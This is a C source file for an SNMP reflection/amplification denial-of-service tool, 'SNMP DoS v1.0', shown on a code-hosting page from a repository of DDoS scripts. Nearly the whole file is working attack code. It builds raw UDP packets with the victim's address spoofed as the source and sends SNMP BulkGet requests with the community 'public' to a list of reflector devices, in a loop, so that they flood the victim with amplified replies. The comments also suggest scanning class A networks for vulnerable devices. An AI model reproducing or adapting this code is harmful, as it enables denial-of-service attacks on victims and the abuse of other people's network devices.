Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/AMP Methods/NTP - SNMP - HAVEN - DNS -DRDOS - FRAG - SUDP - MEMCACHED/snmp-c.c
4622 views
1
/*
2
3
SNMP DoS v1.0
4
2.14.2005
5
[email protected]
6
7
Sends a spoofed SNMP BulkGet .1.3.6.1 request to list of devices in file with community string public
8
equiv. command line is `snmpbulkget -v2c <device> public internet`
9
well, the target will get the first large packet, not the results of GetNext
10
generally it greatly amplifies the bandwidth
11
ADMsnmp can be easiy used with some shell scripting to scan class As for devices set to 'public'
12
13
Code modified from snmpkill.c and some taken from papasmurf.c
14
thanks kundera and tfreak
15
16
*/
17
18
#include <stdio.h>
19
#include <string.h>
20
#include <unistd.h>
21
#include <stdlib.h>
22
#include <netinet/in_systm.h>
23
24
#include <sys/types.h>
25
#include <sys/socket.h>
26
#include <netinet/in.h>
27
#include <arpa/inet.h>
28
#include <netinet/ip.h>
29
#include <netinet/udp.h>
30
31
32
33
#include <sys/types.h>
34
#include <sys/socket.h>
35
#include <netinet/in.h>
36
#include <arpa/inet.h>
37
38
39
struct sockaddr_in dest;
40
41
int sok,i=0, count=0, loop=0, lcount=0;
42
43
char *source, *filename;
44
char c;
45
46
FILE *hostfile;
47
char buf[32];
48
u_long address[2048];
49
int num = 0, n;
50
51
char snmpkill[] =
52
"\x30\x24\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x17\x02"
53
"\x04\x7b\x73\xcc\x13\x02\x01\x00\x02\x01\x64\x30\x09\x30\x07\x06"
54
"\x03\x2b\x06\x01\x05";
55
56
57
58
59
in_cksum (unsigned short *ptr, int nbytes)
60
{
61
62
register long sum; /* assumes long == 32 bits */
63
u_short oddbyte;
64
register u_short answer; /* assumes u_short == 16 bits */
65
66
/*
67
* Our algorithm is simple, using a 32-bit accumulator (sum),
68
* we add sequential 16-bit words to it, and at the end, fold back
69
* all the carry bits from the top 16 bits into the lower 16 bits.
70
*/
71
72
sum = 0;
73
while (nbytes > 1)
74
{
75
sum += *ptr++;
76
nbytes -= 2;
77
}
78
79
/* mop up an odd byte, if necessary */
80
if (nbytes == 1)
81
{
82
oddbyte = 0; /* make sure top half is zero */
83
*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
84
sum += oddbyte;
85
}
86
87
/*
88
* Add back carry outs from top 16 bits to low 16 bits.
89
*/
90
91
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
92
sum += (sum >> 16); /* add carry */
93
answer = ~sum; /* ones-complement, then truncate to 16 bits */
94
return (answer);
95
}
96
97
98
void usage (void)
99
{
100
printf("SNMP DoS v1.0\n");
101
printf("Usage: snmpdos [-t target ip_addr] [-f host file] [-l loop count] \n");
102
}
103
104
105
106
107
108
void loadfile (void)
109
{
110
if ((hostfile = fopen(filename, "r")) == NULL)
111
{
112
perror("Opening hostfile");
113
exit(-1);
114
}
115
116
while (fgets(buf, sizeof buf, hostfile) != NULL)
117
{
118
char *p;
119
int valid;
120
121
/* skip over comments/blank lines */
122
if (buf[0] == '#' || buf[0] == '\n') continue;
123
124
/* get rid of newline */
125
buf[strlen(buf) - 1] = '\0';
126
127
/* check for valid address */
128
for (p = buf, valid = 1; *p != '\0'; p++)
129
{
130
if ( ! isdigit(*p) && *p != '.' )
131
{
132
fprintf(stderr, "Skipping invalid ip %s\n", buf);
133
valid = 0;
134
break;
135
}
136
}
137
138
/* if valid address, copy to our array */
139
if (valid)
140
{
141
address[num] = inet_addr(buf);
142
num++;
143
if (num == 2048)
144
break;
145
}
146
}
147
148
}
149
150
151
152
153
int sendit(ulong destaddr)
154
{
155
156
struct pseudoudp {
157
u_long ipsource;
158
u_long ipdest;
159
char zero;
160
char proto;
161
u_short length;
162
} *psudp;
163
164
struct in_addr sourceip_addr;
165
struct in_addr destip_addr;
166
struct ip *IP;
167
struct udphdr *UDP;
168
char *packet, *packetck, *data;
169
int datasize;
170
171
172
destip_addr.s_addr=destaddr;
173
sourceip_addr.s_addr=inet_addr(source);
174
dest.sin_addr.s_addr=destip_addr.s_addr;
175
176
datasize=sizeof(snmpkill);
177
178
packet = ( char * )malloc( 20 + 8 + datasize );
179
180
IP = (struct ip *)packet;
181
182
memset(packet,0,sizeof(packet));
183
184
IP->ip_dst.s_addr = destip_addr.s_addr;
185
IP->ip_src.s_addr = sourceip_addr.s_addr;
186
IP->ip_v = 4;
187
IP->ip_hl = 5;
188
IP->ip_ttl = 245;
189
IP->ip_id = htons(1047);
190
IP->ip_p = 17;
191
IP->ip_len = htons(20 + 8 + datasize);
192
IP->ip_sum = in_cksum((u_short *)packet,20);
193
194
195
UDP = (struct udphdr *)(packet+20);
196
UDP->source = htons(161);
197
UDP->dest = htons(161);
198
UDP->len = htons(8+datasize);
199
UDP->check = 0;
200
packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
201
bzero(packetck,8 + datasize + sizeof(struct pseudoudp));
202
psudp = (struct pseudoudp *) (packetck);
203
psudp->ipdest = destip_addr.s_addr;
204
psudp->ipsource = sourceip_addr.s_addr;
205
psudp->zero = 0;
206
psudp->proto = 17;
207
psudp->length = htons(8+datasize);
208
memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
209
memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);
210
211
UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));
212
213
data = (unsigned char *)(packet+20+8);
214
memcpy(data,snmpkill,datasize);
215
216
217
return(sendto(sok,packet,20+8+datasize,0,(struct sockaddr *) &dest,sizeof(struct sockaddr)));
218
219
free(packet);
220
free(packetck);
221
}
222
223
224
225
int main(int argc,char **argv){
226
227
if(argc < 3) {
228
usage();
229
return 0;
230
}
231
232
while((c=getopt(argc,argv,"t:f:l:"))!=EOF){
233
switch(c) {
234
case 't': source=optarg; break;
235
case 'f': filename=optarg; break;
236
case 'l': loop=atoi(optarg); break;
237
default: usage();
238
}
239
}
240
241
loadfile();
242
243
244
dest.sin_family=AF_INET;
245
246
if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
247
{
248
printf("Can't create socket.\n");
249
exit(EXIT_FAILURE);
250
}
251
252
n=0;
253
254
255
while(lcount < loop){
256
257
while(n < num)
258
{
259
if(sendit(address[n]) == -1) printf ("SENDING ERROR!\n");
260
n++;
261
count++;
262
}
263
264
if(n == num){ n = 0; lcount++;}
265
266
}
267
268
269
270
271
printf("%i packets sent\n", count);
272
273
return 0;
274
}
275
276